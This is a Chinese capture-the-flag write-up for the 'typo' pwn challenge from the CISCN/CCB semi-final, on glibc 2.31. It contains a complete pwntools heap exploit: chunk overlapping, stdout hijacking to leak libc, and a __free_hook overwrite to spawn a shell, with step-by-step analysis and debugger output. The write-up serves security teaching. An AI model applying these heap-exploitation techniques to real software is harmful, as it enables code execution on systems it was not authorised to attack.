ciscn&&ccb半决赛复现

typo

ubuntu20.04,glibc2.31

题目分析

题目中用到的结构体:

image-20250407195503012

image-20250407195533099

其他函数就不看了,看一下有漏洞的函数(edit):

image-20250407195725965

可以看到在 snprintf((char *)chunklist[v1], (size_t)"%lu", s, 8LL); 存在问题

snprintf 的函数原型为:int snprintf(char *s, size_t maxlen, const char *format, ...)

题目将 (size_t)"%lu" (即它的地址)作为了maxlen传入,format 为用户输入,于是这里同时存在格式化字符串漏洞和堆溢出漏洞

利用方法

由于没有 show,没有什么直观的方法可以泄露 libc_base,不过见过的小伙伴一定可以第一实际想到用 _IO_2_1_stdout_ 进行泄露,在下文中,我也是这样实现的。

具体的利用步骤如下:

  • 利用堆溢出构造 chunk overlapping,接下来相当于可以实现double free(有的说是UAF,这里称呼为 A,B,并且 A,B 实际上为同一个 chunk)。
  • 先将 A 放入 tcahebin,用堆溢出修改这个 chunk 大小,再放入 unsortedbin 中,这个时候,tcahebin 就残留了 main_arena 附近的地址。
  • 再用堆溢出部分覆盖原 main_arena+96 地址为 _IO_2_1_stdout_ 附近地址,接下来就修改 _flag 为 0xFBAD1800, 将_IO_write_base 的地址末尾改为 00,即可泄露 libc。
  • 有了 libc_base,后面就简单了,这里我改 __free_hook 为 system,接下来 getshell。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# time: 2025-04-07 20:46:31
from pwn import *
import time

context.terminal = ['tmux', 'splitw', '-h']
context(log_level='debug', arch='amd64', os='linux')

file_name = './pwn'
if args['G']:
p = remote('', )
else:
p = process(file_name)
elf = ELF(file_name)
libc = elf.libc
# libc = ELF('libc-2.23.so')
gdb.attach(p,gdbscript = """
set debug-file-directory ./.debug/
""")

s = lambda data :p.send(data)
sa = lambda delim, data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim, data :p.sendlineafter(delim, data)
r = lambda num=4096 :p.recv(num)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
leak = lambda name, addr :log.success('{} = {:#x}'.format(name, addr))

menu = b'>> '

def add(idx,size):
sla(menu,b'1')
sla(b"Index: ",str(idx))
sla(b"Size: ",str(size))

def edit(idx,size,content):
sla(menu,b'3')
sla(b"Index: ",str(idx))
sa(b"New size of content: ",size)
sa(b"What do you want to say: ",content)

def delete(idx):
sla(menu,b"2")
sla(b"Index: ", str(idx))

##本地调试可以先 echo 0 > /proc/sys/kernel/randomize_va_space 禁用 ASLR
# 或者 sysctl -w kernel.randomize_va_space=0
# 没有show, 基本是要想办法泄露libc, 有了堆溢出, 因此可以利用 overlapping
# 然后结合 unsortedbin 来爆破 _IO_2_1_stdout_ 的地址

# 1. unlink 合并到 top chunk (overlapping)
for i in range(0, 7):
add(i, 0xf0)
add(7, 0x20)
add(8, 0xf0)
add(9, 0x60)
add(10, 0xf0)
for i in range(0, 7):
delete(i)
delete(8)
edit(7, b'a'*0x28+p64(0x171), b'\x00')
#pause()
edit(9, b'a'*0x68+p64(0x100), b'\x00'*0x58+p64(0x100+0x70))
delete(10)

# 2. 构造同一个 chunk 的 UAF (两大小不同的堆块控制)
for i in range(0, 7):
add(i, 0xf0)
add(12,0x90)
add(8,0x50)
add(10,0xf0)##chunk 9 == chunk 10
add(11,0x20)
# 3. 将一个放入 tcahebin ,一个放入 unsortedbin 中, 让 tcahebin->next 为 libc 相关
add(13,0x50)
for i in range(0, 7):
delete(i)
add(0,0x40)
add(1,0x40)
add(2,0x40)
edit(8, b'1'*0x58+p64(0x61), b'\x00')
delete(13)
delete(9)
edit(8,b'1'*0x58+p64(0x101),b' ')
delete(10)
# # 于是,有了:0x60 [ 1]: 0x55555555bad0 —▸ 0x7ffff7fc1be0 (main_arena+96)

# # 4. 测试, 爆破 _IO_2_1_stdout_ 的地址,成功概率 1/16
# # pwndbg> p &_IO_2_1_stdout_
# # $1 = (struct _IO_FILE_plus *) 0x7ffff7fc26a0 <_IO_2_1_stdout_>
# 由于会 sprintf 会追加 '\x00', 这里用后面的 read

#edit(12, b'%p'*0x11+b'1'*10, b'\x00')
edit(12, b'a'*166, b'\x00')
edit(8, b'11111', b'b'*0x58+b'\x90\x26')
#pause()
add(13, 0x50)
add(14, 0x50)

edit(14, b'\xff'*8, b'\x00'*8 + p32(0xFBAD1800) + b'\x00'*(0x25-8))
r(8)
data = uu64(r(6))
leak('data',data)
libc_base = data - 0x1ec980
leak("libc_base",libc_base)
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
one = [0xe3afe, 0xe3b01, 0xe3b04]
one_gadget = libc_base + one[1]
leak("free_hook",free_hook)
leak("system_addr",system_addr)
leak("one_gadget",one_gadget)
# 5.getshell
delete(2)
delete(1)
edit(0, b'a'*0x50+ p64(free_hook-0x10), b'a')

add(1,0x40)
add(2,0x40)

edit(2,b'a'*0x10+p64(one_gadget),b'1')

delete(0)
itr()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x25 bytes:
b'exp.py\tld-2.31.so libc-2.31.so pwn\n'
exp.py ld-2.31.so libc-2.31.so pwn
$ cat /flag
[DEBUG] Sent 0xa bytes:
b'cat /flag\n'
[DEBUG] Received 0x1a bytes:
b'flag{this_is_a_test_flag}\n'
flag{this_is_a_test_flag}
$

exp分析

exp思路理解分析:

  1. 这道题没有show()函数就不能像正常那样泄露地址,所以我们要劫持stdout
  2. 劫持stdout也需要libc地址,那么我们就需要将libc地址想办法布置到tcachebins中的next指针(或者其它)
  3. 存在堆溢出,可以通过overlapping来制造doubel free(同一个chunk即在tcache中,又在unsortedbin中),从而实现申请一个堆块在stdout附近
  4. 最后,通过one_gadget等方式来getshell

unlink 合并到 top chunk(overlapping)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 1. unlink 合并到 top chunk (overlapping)
for i in range(0, 7):
add(i, 0xf0)
add(7, 0x20)
add(8, 0xf0)
add(9, 0x60)
add(10, 0xf0)
for i in range(0, 7):
delete(i)
delete(8)
edit(7, b'a'*0x28+p64(0x171), b'\x00')
#pause()
edit(9, b'a'*0x68+p64(0x100), b'\x00'*0x58+p64(0x100+0x70))
delete(10)

我们的目标是让chunk 9实现double free

这里通过堆溢出制造overlapping_chunk9将chunk8 - 10都放入top chunk中

构造同一个 chunk 的 UAF

构造同一个 chunk 的 UAF(两大小不同的堆块控制)

1
2
3
4
5
6
7
# 2. 构造同一个 chunk 的 UAF (两大小不同的堆块控制)
for i in range(0, 7):
add(i, 0xf0)
add(12,0x90)
add(8,0x50)
add(10,0xf0)##chunk 9 == chunk 10
add(11,0x20)

这里就是再将top chunk中的chunk 9再次申请出来,我们通过一给chunk就控制了chunklist中两个chunk

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/24gx 0x555555554000+0x4060
0x555555558060: 0x000055555555b8a0 0x000055555555b7a0
0x555555558070: 0x000055555555b6a0 0x000055555555b5a0
0x555555558080: 0x000055555555b4a0 0x000055555555b3a0
0x555555558090: 0x000055555555b2a0 0x000055555555b9a0
0x5555555580a0: 0x000055555555ba70 0x000055555555bad0
# chunk 10 chunk 9
0x5555555580b0: 0x000055555555bad0 0x000055555555bbd0
0x5555555580c0: 0x000055555555b9d0 0x0000000000000000
0x5555555580d0: 0x0000000000000000 0x0000000000000000
pwndbg>

double free

将一个放入 tcahebin ,一个放入 unsortedbin 中, 让 tcahebin->next 为 libc 相关

1
2
3
4
5
6
7
8
9
10
11
add(13,0x50)#这个是为了让tcachebins中0x60处next指针有效(即有两个以上的chunk)
for i in range(0, 7):
delete(i)
add(0,0x40)
add(1,0x40)
add(2,0x40)
edit(8, b'1'*0x58+p64(0x61), b'\x00')
delete(13)
delete(9)
edit(8,b'1'*0x58+p64(0x101),b' ')
delete(10)

我们直接进行delete(9)和delete(10)一样也会被检测出来double free;

所以可以通过修改chunk 9和chunk 10的大小,再进行free,是他们一个进入tcachebins中,一个进入unsortedbins中。

这也就实现了我们的目的,在tcahebins中的那个chunk的next指针上留下了libc地址。

1
2
3
4
5
6
7
8
9
10
11
12
tcachebins
0x60 [ 2]: 0x55555555bad0 —▸ 0x7ffff7fc1be0 —▸ 0x55555555bd40 ◂— ...
0x100 [ 7]: 0x55555555b2a0 —▸ 0x55555555b3a0 —▸ 0x55555555b4a0 —▸ 0x55555555b5a0 —▸ 0x55555555b6a0 —▸ 0x55555555b7a0 —▸ 0x55555555b8a0 ◂— 0
fastbins
empty
unsortedbin
all: 0x55555555bac0 —▸ 0x7ffff7fc1be0 ◂— 0x55555555bac0
smallbins
empty
largebins
empty
pwndbg>

hijack stdout

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# # 4. 测试, 爆破 _IO_2_1_stdout_ 的地址,成功概率 1/16
# # pwndbg> p &_IO_2_1_stdout_
# # $1 = (struct _IO_FILE_plus *) 0x7ffff7fc26a0 <_IO_2_1_stdout_>
# 由于会 sprintf 会追加 '\x00', 这里用后面的 read
#edit(12, b'%p'*0x11+b'1'*10, b'\x00')
edit(12, b'a'*0xa5, b'\x00')
edit(8, b'11111', b'b'*0x58+b'\x90\x26')
#pause()
add(13, 0x50)
add(14, 0x50)

edit(14, b'\xff'*8, b'\x00'*8 + p32(0xfbad1800) + b'\x00'*(0x25-8))
r(8)
data = uu64(r(6))
leak('data',data)
libc_base = data - 0x1ec980
leak("libc_base",libc_base)
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
one = [0xe3afe, 0xe3b01, 0xe3b04]
one_gadget = libc_base + one[1]
leak("free_hook",free_hook)
leak("system_addr",system_addr)
leak("one_gadget",one_gadget)

这里为什么是0xa5?

这里的0xa5恰好可以将下面的chunk8的old_chunk_size覆盖为一个不大不小的数 0x0000006161616161 太大了会出问题(如果全覆盖的话read好像字节数太多了读取不了)

会导致这里的\x90\x26无法写入

需要把chunk8的人工size填充为一个大小合理的值,否则太大了read读取不了,太小了又不够覆盖

1
edit(12, b'a'*0xa5, b'\x00')

篡改了chunk 8的old_chunk_size,是他可以直接写入大量数据

1
edit(8, b'11111', b'b'*0x58+b'\x90\x26')

这个是改了chunk 9的next指针低位,使它概率指向 stdout - 0x10 的地方

申请出 stdout - 0x10 的地方,改 stdout 的_flag为 0xfbad1800,和 write_base_ptr 的低位为 00,实现泄露出libc地址

get shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 5.getshell
delete(2)
delete(1)
edit(0, b'a'*0x50+ p64(free_hook-0x10), b'a')

add(1,0x40)
add(2,0x40)

edit(2,b'a'*0x10+p64(one_gadget),b'1')

delete(0)
itr()
####################
delete(2)
delete(1)

edit(0, b'1'*0x50+p64(free_hook-0x10), b'*')
add(1, 0x40)
add(2, 0x40)

edit(2, b'1'*0x10 + p64(system_addr), b'*')
edit(0, b'1'*0x50 + b'/bin/sh\x00', b'*')
delete(1)

用上前面申请的0x40的3个 chunk 改 free_hook 为 one_gadget 或改 free_hook 为 system_addr 来 get shell

总结

unlink还可以这样用,有点类似house of botcake…

prompt

参考博客

  1. https://blog.csdn.net/a19106051385/article/details/146318753
  2. https://mp.weixin.qq.com/s/0e8avtn3o_jZJbh3UDUdzw
  3. https://mp.weixin.qq.com/s/Ygg4bm9y27vskWyxFR2vOw
  4. https://blog.csdn.net/XiDPPython/article/details/146384414